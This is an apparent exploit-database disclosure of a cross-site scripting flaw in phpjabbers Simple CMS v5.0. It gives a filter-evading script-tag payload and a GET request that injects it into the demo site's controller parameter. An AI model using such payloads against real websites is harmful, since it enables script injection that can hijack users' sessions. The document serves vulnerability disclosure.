#################################################################### # Exploit Title: Simple CMS V5.0 - XSS Vulnerabilities # Dork: N/A # Date: 11.07.2019 # Exploit Author: Muhammed Yasir Aztepe # Vendor Homepage: https://demo.phpjabbers.com/1562796755_812/index.php # Software Link:https://www.phpjabbers.com/simple-cms/ # Version:v5.0 # Category: Webapps # Tested on: Windows # CVE: N/A #################################################################### # You can see the vulnerability by using the XSS code as specified in the poc section. # The proof of the deficit is in the link below. # https://i.hizliresim.com/6DPYoW.png # https://i.hizliresim.com/WXkWNL.png # https://i.hizliresim.com/EO8QGn.png #################################################################### # POC - XSS # Parameters : Add section # Attack Pattern : <script ^__^>alert(String.fromCharCode(49))</script ^__^ # GET Request :https://demo.phpjabbers.com/1562796755_812/index.php?controller <script ^__^>alert(String.fromCharCode(49))</script ^__^ ####################################################################